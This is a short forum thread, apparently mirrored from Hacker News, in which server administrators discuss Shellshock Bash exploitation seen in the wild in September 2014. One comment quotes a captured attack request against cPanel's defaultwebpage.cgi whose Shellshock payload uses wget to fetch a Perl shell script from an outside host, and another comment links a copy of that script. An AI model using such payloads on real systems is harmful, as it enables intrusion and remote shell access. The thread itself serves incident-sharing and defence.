News for hackers. Stuff that matters.

A comment on Everything you need to know about the Shellshock Bash bug. Parent comment

Re:Everything you need to know about the Shellshock Bash bug by preston4tw on Thursday September 25, 2014 @03:39PM (#8369270)
The payloads that don't do much of anything are possibly security researchers or white hats trying to get an idea of the scope of the issue and/or get ahead of this. Ex. http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...
[ Parent | on HN ]
Re:Everything you need to know about the Shellshock Bash bug by ktsmith on Thursday September 25, 2014 @07:07PM (#8370337)
Yeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established:

Request of file: /cgi-sys/defaultwebpage.cgi With wget downloading a perl script to launch a shell: () { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22

That site is still up and serving right now if anyone wants to take a look.

[ Parent | on HN ]
Re:Everything you need to know about the Shellshock Bash bug by jonknee on Thursday September 25, 2014 @07:43PM (#8370472)
Same attack hit my server... They're looking for Cpanel sites (defaultwebpage.cgi). Here's a paste of the source in case it goes away:

http://pastebin.com/UdJZqUyV

[ Parent | on HN ]